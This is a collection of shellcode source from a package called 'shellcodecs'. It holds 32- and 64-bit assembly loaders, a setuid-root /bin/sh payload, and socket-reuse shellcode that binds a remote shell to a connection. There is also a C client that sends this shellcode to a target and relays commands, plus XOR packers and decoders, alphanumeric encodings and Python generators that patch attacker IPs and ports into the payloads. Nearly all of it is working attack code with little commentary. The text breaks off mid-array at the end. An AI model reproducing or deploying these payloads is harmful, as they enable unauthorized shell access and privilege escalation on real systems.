|
All code found here is also available in the downloadable shellcodecs package.
|
Loaders
Documentation: shellcode loaders
See also: environmental documentation, environmental shellcode
loader-64.s
Description: 64-bit mmap-based executable shellcode loader (returns to shellcode)
# 79 bytes
.section .data
.section .text
.globl _start
_start:
pop %rbx # argc
pop %rbx # arg0
pop %rbx # arg1 pointer
push $0x9
pop %rax
xor %rdi, %rdi
push %rdi
pop %rsi
inc %rsi
shl $0x12, %rsi
push $0x7
pop %rdx
push $0x22
pop %r10
push %rdi
push %rdi
pop %r8
pop %r9
syscall # The syscall for the mmap().
inject:
xor %rsi, %rsi
push %rsi
pop %rdi
inject_loop:
cmpb %dil, (%rbx, %rsi, 1)
je inject_finished
movb (%rbx, %rsi, 1), %r10b
movb %r10b, (%rax,%rsi,1)
inc %rsi
jmp inject_loop
ret_to_shellcode:
push %rax
ret
inject_finished:
inc %rsi
movb $0xc3, (%rax, %rsi, 1)
call ret_to_shellcode
exit:
push $60
pop %rax
xor %rdi, %rdi
syscall
|
loader-32.s
Description: 32-bit mmap-based executable shellcode loader (returns to shellcode)
# 66 bytes
.section .data
.section .text
.global _start
_start:
pop %edi
pop %edi
pop %edi #get arg1 pointer (shellcode)
push $90
pop %eax #mmap() syscall number
xor %ebx, %ebx
push %ebx
push %ebx #args 5/6 (null)
push $0x22 #arg 4
push $0x7 #arg 5
push %ebx
pop %ecx
inc %ecx
shl $0x12, %ecx
push %ecx #arg2 (0x1000)
push %ebx #arg1 (null)
mov %esp, %ebx #move pointer to args to ebx for mmap()
int $0x80
inject:
xor %esi, %esi
push %esi
pop %edx #zero out esi and edx
inject_loop:
cmpb %dl, (%edi, %esi, 1)
je inject_finished
movb (%edi, %esi, 1), %cl
movb %cl, (%eax, %esi, 1)
inc %esi
jmp inject_loop #places shellcode into mmap() memory
ret_to_shellcode:
push %eax #pushes mmap memory address and returns to it
ret
inject_finished:
inc %esi
movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit
call ret_to_shellcode
exit:
xor %eax, %eax
mov %eax, %ebx
inc %eax
int $0x80 #exit
|
dynamic-loader.c
Description: Dynamically linked mmap-based executable shellcode loader (contains GOT)
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
int main(int argc, char *argv[])
{
int (*fp)();
void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(mem, argv[1], strlen(argv[1]));
fp = (int(*)())mem;
(int)(*fp)();
}
|
socket-loader.c
Description: Dynamically linked mmap and socket based executable shellcode loader (contains GOT)
/* A simple server in the internet domain using TCP
The port number is passed as an argument */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg)
{
perror(msg);
exit(1);
}
void execute(char *buffer)
{
printf("Executing\n");
printf("%d\n", strlen(buffer));
int (*fp)();
void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
memcpy(mem, buffer, strlen(buffer));
fp = (int(*)())mem;
(int)(*fp)();
}
int main(int argc, char *argv[])
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[1024];
struct sockaddr_in serv_addr, cli_addr;
int n;
if (argc < 2) {
fprintf(stderr,"ERROR, no port provided\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0)
error("ERROR on binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
error("ERROR on accept");
bzero(buffer,1024);
n = read(newsockfd,buffer,1024);
execute(buffer);
close(newsockfd);
close(sockfd);
return 0;
}
|
write-file-32.s
# 90 bytes
_start:
xorl %ecx, %ecx
xorl %edx, %edx #use xor to zero out the registers (removed some not required)
push $0x05 #push 0x05 (single byte to remove the null padding used in longs)
pop %eax #pop that value into eax
push $0x6c #push part of the file destination as a byte to remove padding
pushl $0x6f6c2f70
pushl $0x6f746b73
pushl $0x65442f74
pushl $0x6f6f722f
movl %esp, %ebx #move out stack pointer
xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641)
xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6)
#by using this method of xoring out the nullbytes code size can be reduced as well
#as remove the null bytes
int $0x80 #execute open()
movl %eax, %ebx #move the file handle into ebx for write()
push $0x04 #push 0x04
pop %eax #pop it into eax for use in write()
pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack
pop %ecx #pop it into ecx for modification
shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without
#having it directly in the code
pushl %ecx #push the modified string back onto the stack
pushl $0x20736920
pushl $0x73696874
movl %esp, %ecx #move the stack pointer to ecx
push $0xb #push the size of the stack in hex
pop %edx #pop it back into the proper register
pushl %ebx #push the file descriptor onto the stack for the next function
int $0x80 #write the file
pop %ebx #get the file descriptor back
push $0x06 #push 0x06 to the stack
pop %eax #pop it into eax for close()
int $0x80 #close the file
push $0x01 #push exit() onto the stack
pop %eax #and put it in the register
push $0x05 #push the return value of 5
pop %ebx #and put it in ebx
int $0x80 #and exit
|
setuid_binsh.s
# 34 bytes
.text
.globl _start
_start:
xor %rdi, %rdi # Zero out %rdi (first argument)
push $0x69
pop %rax # Set %rax to function number for setuid()
syscall # setuid(0);
push %rdi
push %rdi
pop %rsi
pop %rdx # Null out %rdx and %rdx (second and third argument)
mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi
shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/'
push %rdi
push %rsp
pop %rdi # %rdi is now a pointer to '/bin/sh\0'
push $0x3b
pop %rax # set %rax to function # for execve()
syscall # execve('/bin/sh',null,null);
|
getpc-64.s
Documentation: environment
# 12 - bytes
jmp startup
getpc:
mov (%rsp), %rax
ret
startup:
call getpc # the %rax register now contains %rip on the next line
|
getpc-64-alt.s
jmp startup
pc:
nop
startup:
lea -1(%rip), %rax # the %rax register now contains the address of `pc'.
|
getpc-32.s
# 11 bytes
jmp startup
getpc:
mov (%esp), %eax
ret
startup:
call getpc # the %eax register now contains %eip on the next line
|
int3-detect-64.s
.text
.global _start
_start:
jmp startup
go_retro:
pop %rcx
inc %rcx
jmp *%rcx
startup:
call go_retro
volatile_segment:
push $0x3458686a
push $0x0975c084
nop
|
Documentation: socket reuse documentation
socket-reuse.s
# 119 bytes
.section .data
.section .text
.globl _start
_start:
jmp start
exit:
push $0x3c
pop %rax
syscall
start:
push $0x02
pop %rdi
make_fd_struct:
lea -0x14(%rsp), %rdx
movb $0x10, (%rdx)
lea 0x4(%rdx), %rsi # move struct into rsi
loop:
inc %edi
test %di, %di # loop until 65535 then exit
je exit
stack_fix:
lea 0x14(%rdx), %rsp
get_peer_name:
sub $0x20, %rsp
push $0x34
pop %rax
syscall
check_pn_success:
test %al, %al
jne loop
# If we make it here, rbx and rax are 0
check_ip:
push $0x1b
pop %rcx
mov $0xfeffff80, %ebx
xor $0xffffffff, %ebx
cmpl %ebx, (%rsp,%rcx,4)
jne loop
check_port:
movb $0x35, %cl
mov $0x2dfb, %bx
xor $0xffff, %bx
cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2)
jne loop
reuse:
push %rax
pop %rsi
dup_loop: # redirect stdin, stdout, stderr to socket
push $0x21
pop %rax
syscall
inc %esi
cmp $0x4, %esi
jne dup_loop
execve:
pop %rdi
push %rdi
push %rdi
pop %rsi
pop %rdx # Null out %rdx and %rdx (second and third argument)
mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi
shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/'
push %rdi
push %rsp
pop %rdi # %rdi is now a pointer to '/bin/sh\0'
push $0x3b
pop %rax # set %rax to function # for execve()
syscall # execve('/bin/sh',null,null);
|
socket-reuse-send.c
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
char shellcode[] = {
"\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6"
"\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48"
"\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb"
"\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe"
"\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f"
"\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b"
"\x58\x0f\x05"
};
void error(char *err)
{
perror(err);
exit(0);
}
int main(int argc, char *argv[])
{
struct sockaddr_in serv_addr, bind_addr;
struct hostent* server, *bind_add;
char buf[1024], inbuf[1024];
int port = atoi(argv[2]);
int bport = atoi(argv[4]);
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
error("Error: socket(): ");
bind_add = gethostbyname((char *)argv[3]);
bzero((char *) &bind_addr, sizeof(bind_addr));
bind_addr.sin_family = AF_INET;
bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length);
bind_addr.sin_port = htons(bport);
if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0)
error("Error: bind(): ");
server = gethostbyname(argv[1]);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(port);
printf("Connecting to %s\n", argv[1]);
if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
error("Error: connect(): ");
printf("Sending payload\n");
if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0)
error("Error: write(): ");
while(fgets(buf, 1024, stdin) != NULL)
{
if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0)
error("Error: write(): ");
if (recv(sock, inbuf, 1024, 0) < 0)
error("Error: read(): ");
printf("%s", inbuf);
bzero(inbuf, 1024);
bzero(buf, 1024);
}
return 0;
}
|
Documentation: self-modifying code
See also: environmental documentation, environmental shellcode, loaders documentation, loaders
packer.s
# 55 bytes
.section .data
.section .text
.globl _start
_start:
pop %rbx # argc
pop %rbx # arg0
pop %rbx # arg1 pointer
xor %rsi, %rsi
push $0x34
pop %rdi
count_chars:
cmpb %dil, (%rbx, %rsi, 1)
int3
je write
xor $0x16, (%rbx, %rsi, 1)
inc %rsi
jmp count_chars
write:
mov $0x1, %rax
mov $0x1, %rdi
mov %rsi, %rdx
mov %rbx, %rsi
syscall
exit:
push $60
pop %rax
xor %rdi, %rdi
syscall
|
decoder-no-mmap.s
# 69 bytes
jmp start
inject:
pop %rdi # return value
xor %rsi, %rsi
push %rsi
pop %rdi
inject_loop:
cmpb $0x17, (%rbx, %rsi, 1)
je inject_finished
movb (%rbx, %rsi, 1), %r10b
xor $0x16, %r10b
movb %r10b, (%rbx, %rsi, 1)
inc %rsi
jmp inject_loop
inject_finished:
inc %rsi
movb $0xc3, (%rbx, %rsi, 1)
push %rdi
push %rbx
ret
getpc:
mov (%rsp),%rbx
ret
start:
call getpc
add $0xe,%rbx
push %rbx
call inject
exit:
push $0x3c
pop %rax
xor %rdi, %rdi
syscall
|
decoder.s
# 102 bytes
jmp start
inject:
pop %rdi
pop %rcx
pop %rax
xor %rsi, %rsi
push %rsi
pop %rdi
inject_loop:
cmpb $0x20, (%rax, %rsi, 1)
je inject_finished
movb (%rax, %rsi, 1), %r10b
xor $0x3, %r10b
movb %r10b, (%rcx, %rsi, 1)
inc %rsi
jmp inject_loop
inject_finished:
inc %rsi
movb $0xc3, (%rcx, %rsi, 1)
push %rdi
push %rcx
ret
getpc:
mov (%rsp),%rbx
ret
start:
call getpc
add $0x31,%rbx
push $0x9
pop %rax
xor %rdi, %rdi
push %rdi
pop %rsi
inc %rsi
shl $0x12, %rsi
push $0x7
pop %rdx
push $0x22
pop %r10
push %rdi
push %rdi
pop %r8
pop %r9
syscall # The syscall for the mmap().
push %rax
push %rbx
call inject
exit:
push $60
pop %rax
xor %rdi, %rdi
syscall
|
packer-32.s
# 37 bytes
.section .data
.section .text
.global _start
_start:
pop %ecx
pop %ecx
pop %ecx #arg1 pointer
xor %ebx, %ebx
push %ebx
pop %edx #zero out ebx and edx
count_chars:
cmpb %dl, (%ecx, %ebx, 1)
je write
xor $0x3, (%ecx, %ebx, 1)
inc %ebx
jmp count_chars #counts characters and xor encode them
write:
push $4
pop %eax
mov %ebx, %edx
push $2
pop %ebx
int $0x80 #writes encoded chars to stdout
exit:
xor %eax, %eax
mov %eax, %ebx
inc %eax
int $0x80 #exits
|
decoder-32.s
# 89 bytes
.section .data
.section .text
.global _start
_start:
jmp start
inject:
pop %ecx #pop the return address
pop %ebx #pop the encoded shellcode start address
pop %eax #pop the mmaped memory address
xor %edx, %edx
push %edx
pop %ecx #zero out edx and ecx (which holds the return address)
inject_loop:
cmpb $0x20, (%ebx, %edx, 1)
je inject_finished
movb (%ebx, %edx, 1), %cl
xor $0x3, %cl
movb %cl, (%eax, %edx, 1)
inc %edx
jmp inject_loop
inject_finished:
inc %edx
movb $0xc3, (%eax, %edx, 1)
push %ecx
push %eax
ret
getpc:
mov (%esp), %eax
ret
start:
call getpc #find ourself on stack
mov %eax, %edx
add $0x2a, %edx #add decoder length to find shell beginging
push $90
pop %eax #mmap() syscall
xor %ebx, %ebx
push %ebx
push %ebx #arg 5/6
push $0x22 #arg 4
push $0x7 #arg 3
push %ebx
pop %ecx
inc %ecx
shl $0x12, %ecx
push %ecx #arg2 0x1000
push %ebx #arg 1
mov %esp, %ebx
int $0x80
push %eax #push mmap pointer
push %edx #push our shellcode begining
call inject
exit:
xor %eax, %eax
mov %eax, %ebx
inc %eax
int $0x80
|
Documentation: alphanumeric shellcode
See also: environmental documentation, environmental shellcode
architecture_detection
TX4HPZTAZAYVH92
binsh.s
Assembled:
XTX4e4uH10H30VYhJG00X1AdTYXHcq01q0Hcq41q4Hcy0Hcq0WZhZUXZX5u7141A0hZGQjX5u49j1A4H3y0XWjXHc9H39XTH394cEB00
.text
.global _start
_start:
pop %rax
push %rsp
pop %rax
xor $0x65,%al
xor $0x75,%al
xor %rsi, (%rax) # mov emulated into rsi
xor (%rax), %rsi
push %rsi
pop %rcx
pushq $0x3030474a
pop %rax
xor %eax,0x64(%rcx)
push %rsp
pop %rcx
pop %rax
movslq 0x30(%rcx),%rsi
xor %esi,0x30(%rcx)
movslq 0x34(%rcx),%rsi
xor %esi,0x34(%rcx)
movslq 0x30(%rcx),%rdi
movslq 0x30(%rcx),%rsi
push %rdi
pop %rdx
pushq $0x5a58555a
pop %rax
xor $0x34313775,%eax
xor %eax,0x30(%rcx)
pushq $0x6a51475a
pop %rax
xor $0x6a393475,%eax
xor %eax,0x34(%rcx)
xor 0x30(%rcx),%rdi
pop %rax
push %rdi
pushq $0x58
movslq (%rcx),%rdi
xor (%rcx),%rdi
pop %rax
push %rsp
xor (%rcx),%rdi
xor $0x63,%al
rex.RB
rex.X xor %sil,(%rax)
|
poly-linker-fd-reuse.s
# 268 bytes
.section .data
.section .text
.global _start
_start:
push $0x400130ff
pop %rbx
shr $0x8, %ebx
fast_got:
mov (%rbx), %rcx
add 0x10(%rbx), %rcx
extract_pointer:
mov 0x20(%rcx), %rbx
find_base:
dec %rbx
cmpl $0x464c457f, (%rbx)
jne find_base
jmp startup
__initialize_world:
pop %rcx
jmp _world
# at this point, the base pointer of libc is in %rbx
startup:
call __initialize_world
################
#
# Takes a function hash in %rbp and base pointer in %rbx
# >Parses the dynamic section headers of the ELF64 image
# >Uses ROP to invoke the function on the way back to the
# -normal return location
#
# Returns results of function to invoke.
#
invoke_function:
push %rbp
push %rbp
push %rdx
xor %rdx, %rdx
push %rdi
push %rax
push %rbx
push %rsi
push %rbp
pop %rdi
read_dynamic_section:
push %rbx
pop %rbp
push $0x4c
pop %rax
add (%rbx, %rax, 4), %rbx
check_dynamic_type:
add $0x10, %rbx
cmpb $0x5, (%rbx)
jne check_dynamic_type
string_table_found:
mov 0x8(%rbx), %rax # %rax is now location of dynamic string table
mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.
check_next_hash:
add $0x18, %rbx
push %rdx
pop %rsi
xorw (%rbx), %si
add %rax, %rsi
calc_hash:
push %rax
push %rdx
initialize_regs:
push %rdx
pop %rax
cld
calc_hash_loop:
lodsb
rol $0xc, %edx
add %eax, %edx
test %al, %al
jnz calc_hash_loop
calc_done:
push %rdx
pop %rsi
pop %rdx
pop %rax
cmp %esi, %edi
jne check_next_hash
found_hash:
add 0x8(%rbx,%rdx,4), %rbp
mov %rbp, 0x30(%rsp)
pop %rsi
pop %rbx
pop %rax
pop %rdi
pop %rdx
pop %rbp
ret
exit:
push $0x696c4780
pop %rbp
xor %rdi, %rdi
call *%rcx
_world:
movl $0xf8cc01f7, %ebp # getpeername() is in %rbp
push $0x02
pop %rdi
make_fd_struct:
lea -0x14(%rsp), %rdx
movb $0x10, (%rdx)
lea 0x4(%rdx), %rsi # move struct into rsi
loop:
inc %di
jz exit
stack_fix:
lea 0x14(%rdx), %rsp
get_peer_name:
sub $0x20, %rsp
push %rcx
call *%rcx
pop %rcx
check_pn_success:
test %al, %al
jne loop
# If we make it here, rbx and rax are 0
check_ip:
push $0x1b
pop %r8
mov $0xfeffff80, %eax
cmpl %eax, (%rsp,%r8,4)
jne loop
check_port:
movb $0x35, %r8b
mov $0x2dfb, %ax
cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
jne loop
push $0x70672750
pop %rbp
reuse:
xor %rdx, %rdx
push %rdx
push %rdx
pop %rsi
dup_loop: # redirect stdin, stdout, stderr to socket
push %rcx
call *%rcx
pop %rcx
inc %esi
cmp $0x4, %esi
jne dup_loop
movl $0xf66bbb37, %ebp
xor %rdi, %rdi
push %rdi
push %rdi
pop %rsi
pop %rdx # Null out %rdx and %rdx (second and third argument)
mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi
shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/'
push %rdi
push %rsp
pop %rdi # %rdi is now a pointer to '/bin/sh\0'
call *%rcx
|
linker-fd-reuse.s
.section .data
.section .text
.global _start
_start:
push $0x400130ff
pop %rbx
shr $0x8, %ebx
fast_got:
mov (%rbx), %rcx
add 0x10(%rbx), %rcx
extract_pointer:
mov 0x20(%rcx), %rbx
find_base:
dec %rbx
cmpl $0x464c457f, (%rbx)
jne find_base
jmp startup
__initialize_world:
pop %rcx
jmp _world
# at this point, the base pointer of libc is in %rbx
startup:
call __initialize_world
################
#
# Takes a function hash in %rbp and base pointer in %rbx
# >Parses the dynamic section headers of the ELF64 image
# >Uses ROP to invoke the function on the way back to the
# -normal return location
#
# Returns results of function to invoke.
#
invoke_function:
push %rbp
push %rbp
push %rdx
xor %rdx, %rdx
push %rdi
push %rax
push %rbx
push %rsi
push %rbp
pop %rdi
read_dynamic_section:
push %rbx
pop %rbp
push $0x4c
pop %rax
add (%rbx, %rax, 4), %rbx
check_dynamic_type:
add $0x10, %rbx
cmpb $0x5, (%rbx)
jne check_dynamic_type
string_table_found:
mov 0x8(%rbx), %rax # %rax is now location of dynamic string table
mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.
check_next_hash:
add $0x18, %rbx
push %rdx
pop %rsi
xorw (%rbx), %si
add %rax, %rsi
calc_hash:
push %rax
push %rdx
initialize_regs:
push %rdx
pop %rax
cld
calc_hash_loop:
lodsb
rol $0xc, %edx
add %eax, %edx
test %al, %al
jnz calc_hash_loop
calc_done:
push %rdx
pop %rsi
pop %rdx
pop %rax
cmp %esi, %edi
jne check_next_hash
found_hash:
add 0x8(%rbx,%rdx,4), %rbp
mov %rbp, 0x30(%rsp)
pop %rsi
pop %rbx
pop %rax
pop %rdi
pop %rdx
pop %rbp
ret
exit:
push $0x696c4780
pop %rbp
xor %rdi, %rdi
call *%rcx
_world:
movl $0xf8cc01f7, %ebp # getpeername() is in %rbp
push $0x02
pop %rdi
make_fd_struct:
lea -0x14(%rsp), %rdx
movb $0x10, (%rdx)
lea 0x4(%rdx), %rsi # move struct into rsi
loop:
inc %di
jz exit
stack_fix:
lea 0x14(%rdx), %rsp
get_peer_name:
sub $0x20, %rsp
push %rcx
call *%rcx
pop %rcx
check_pn_success:
test %al, %al
jne loop
# If we make it here, rbx and rax are 0
check_ip:
push $0x1b
pop %r8
mov $0xfeffff80, %eax
not %eax
cmpl %eax, (%rsp,%r8,4)
jne loop
check_port:
movb $0x35, %r8b
mov $0x2dfb, %ax
not %eax
cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2)
jne loop
push $0x70672750
pop %rbp
reuse:
xor %rdx, %rdx
push %rdx
push %rdx
pop %rsi
dup_loop: # redirect stdin, stdout, stderr to socket
push %rcx
call *%rcx
pop %rcx
inc %esi
cmp $0x4, %esi
jne dup_loop
movl $0xf66bbb37, %ebp
xor %rdi, %rdi
push %rdi
push %rdi
pop %rsi
pop %rdx # Null out %rdx and %rdx (second and third argument)
mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi
shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/'
push %rdi
push %rsp
pop %rdi # %rdi is now a pointer to '/bin/sh\0'
call *%rcx
|
linked-exit.s
# 135 bytes
.section .data
.section .text
.global _start
_start:
push $0x400130ff
pop %rbx
shr $0x8, %ebx
fast_got:
mov (%rbx), %rcx
add 0x10(%rbx), %rcx
extract_pointer:
mov 0x20(%rcx), %rbx
find_base:
dec %rbx
cmpl $0x464c457f, (%rbx)
jne find_base
jmp startup
__initialize_world:
pop %rcx
jmp _world
# at this point, the base pointer of libc is in %rbx
startup:
call __initialize_world
################
#
# Takes a function hash in %rsi and base pointer in %rbx
#
# returns a function pointer in %rbp
#
find_function:
push %rdx
xor %rdx, %rdx
push %rdi
push %rax
push %rbx
push %rsi
push %rbp
pop %rdi
read_dynamic_section:
push %rbx
pop %rbp
push $0x4c
pop %rax
add (%rbx, %rax, 4), %rbx
check_dynamic_type:
add $0x10, %rbx
cmpb $0x5, (%rbx)
jne check_dynamic_type
string_table_found:
mov 0x8(%rbx), %rax # %rax is now location of dynamic string table
mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table.
check_next_hash:
add $0x18, %rbx
push %rdx
pop %rsi
xorw (%rbx), %si
add %rax, %rsi
calc_hash:
push %rax
push %rdx
initialize_regs:
push %rdx
pop %rax
cld
calc_hash_loop:
lodsb
rol $0xc, %edx
add %eax, %edx
test %al, %al
jnz calc_hash_loop
calc_done:
push %rdx
pop %rsi
pop %rdx
pop %rax
cmp %esi, %edi
jne check_next_hash
found_hash:
add 0x8(%rbx,%rdx,4), %rbp
pop %rsi
pop %rbx
pop %rax
pop %rdi
pop %rdx
push %rbp
ret
_world:
push $0x696c4780
pop %rbp
xor %rdi, %rdi
call *%rcx
|
Generators
fd-reuse-output-formatter.py
#!/usr/bin/python
import re
print("shellcode_1 = \\")
for lin in re.findall(".?"*65, input()):
if "\\\\x80\\\\xff\\\\xff\\\\xfe" in lin:
tmp = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[0]
tmp2 = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[1]
print("\"" + tmp + "\"\n")
print("shellcode_2 =\\")
print("\"" + tmp2 + "\"\\")
elif "\\\\xfb\\\\x2d" in lin:
tmp = lin.split("\\\\xfb\\\\x2d")[0]
tmp2 = lin.split("\\\\xfb\\\\x2d")[1]
print("\"" + tmp + "\"\n")
print("shellcode_3 =\\")
print("\"" + tmp2 + "\"\\")
elif lin == "":
continue
else:
print("\"" + lin + "\" \\")
|
socket-reuse-generator.py
#!/usr/bin/python2.7
import re, sys
def convert_ip(ip):
ip = ip.split('.')
new_addr = ""
for i in ip:
new_addr += "\\x" + hex(0xff ^ int(i))[2:]
return new_addr
def convert_port(port):
port = hex(0xffff ^ int(port))[2:]
port1 = port[0:2]
port2 = port[2:4]
return "\\x" + port1 + "\\x" + port2
shellcode_1 = \
"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d\\x72\\x04" \
"\\x66\\xff\\xc7\\x74\\xe7\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xea" \
"\\x6a\\x1b\\x59\\xbb"
shellcode_2 = "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xdb\\xb1\\x35\\x66"
shellcode_3 = \
"\\xff\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xcd\\x50\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \
"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \
"\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"
if len(sys.argv) != 3:
print("Usage: " + sys.argv[0] + " <source IP> <source port>")
exit()
shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3
for lin in re.findall(".?"*64, shellcode):
if lin != "":
print("\"" + lin + "\"")
|
shellcode-generator.py
#!/usr/bin/python2
import os
import re
import argparse
def extract(path):
if os.system("as -o %s.o %s.s" % (path, path)) == 1:
exit()
if os.system("ld -o %s %s.o" % (path, path)) == 1:
exit()
shellcode = ""
for line in os.popen("objdump -d %s" % path).readlines():
for byte in line.split():
if re.match("^[a-f0-9][a-f0-9]$", byte):
shellcode += chr(int(byte, 16))
return shellcode
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--file', required=True)
parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)")
parser.add_argument('--raw', action='store_true', help="Output in raw format")
parser.add_argument('--var', action='store_true', help="Output as a variable")
parser.add_argument('--len', action='store_true', help="Output the length")
args = parser.parse_args()
shellcode = extract(args.file.split('.')[0])
if args.hex:
tmp = ""
for byte in shellcode:
tmp += "\\x%.2x" % ord(byte)
print tmp
elif args.raw:
print shellcode
elif args.var:
print "char shellcode[] = {"
tmp = ""
for byte in shellcode:
tmp += "\\x%.2x" % ord(byte)
for line in re.findall(".?"*64, tmp):
if line != "":
print("\"" + line + "\" \\")
else:
parser.print_help()
exit()
if args.len:
print "Length: %d bytes" % len(shellcode)
|
hash-generator.s
.text
.globl _start
_start:
jmp startup
calc_hash:
push %rax
push %rdx
initialize_regs:
push %rdx
pop %rax
cld
calc_hash_loop:
lodsb
rol $0xc, %edx
add %eax, %edx
test %al, %al
jnz calc_hash_loop
calc_done:
push %rdx
pop %rsi
pop %rdx
pop %rax
ret
startup:
pop %rax
pop %rax
pop %rsi
xor %rdx, %rdx
call calc_hash
push %rsi
mov %rsp, %rsi
push %rdx
mov %rsp, %rcx
mov $0x4, %rdi
loop:
dec %rdi
movb (%rsi,%rdi,1), %al
movb %al, (%rcx,%rdx,1)
inc %rdx
cmp %rdi, %r10
jnz loop
mov %rcx, %rsi
inc %rdi
mov %rdi, %rax
syscall
mov $0x3c, %rax
dec %rdi
syscall
|
poly-socket-reuse-generator.py
#!/usr/bin/python2.7
import re, sys
def convert_ip(ip):
ip = ip.split('.')
new_addr = ""
for i in ip:
new_addr += chr(int(i))
return new_addr
def convert_port(port):
port = "%.4x" % int(port)
port2 = port[0:2]
port1 = port[2:4]
return chr(int(port1, 16)) + chr(int(port2, 16))
shellcode_1 = \
"\x68\xff\x30\x01\x40\x5b\xc1\xeb\x08\x48\x8b\x0b\x48\x03\x4b\x10" \
"\x48\x8b\x59\x20\x48\xff\xcb\x81\x3b\x7f\x45\x4c\x46\x75\xf5\xeb" \
"\x03\x59\xeb\x6a\xe8\xf8\xff\xff\xff\x55\x55\x52\x48\x31\xd2\x57" \
"\x50\x53\x56\x55\x5f\x53\x5d\x6a\x4c\x58\x48\x03\x1c\x83\x48\x83" \
"\xc3\x10\x80\x3b\x05\x75\xf7\x48\x8b\x43\x08\x48\x8b\x5b\x18\x48" \
"\x83\xc3\x18\x52\x5e\x66\x33\x33\x48\x01\xc6\x50\x52\x52\x58\xfc" \
"\xac\xc1\xc2\x0c\x01\xc2\x84\xc0\x75\xf6\x52\x5e\x5a\x58\x39\xf7" \
"\x75\xdd\x48\x03\x6c\x93\x08\x48\x89\x6c\x24\x30\x5e\x5b\x58\x5f" \
"\x5a\x5d\xc3\x68\x80\x47\x6c\x69\x5d\x48\x31\xff\xff\xd1\xbd\xf7" \
"\x01\xcc\xf8\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6\x02\x10\x48\x8d" \
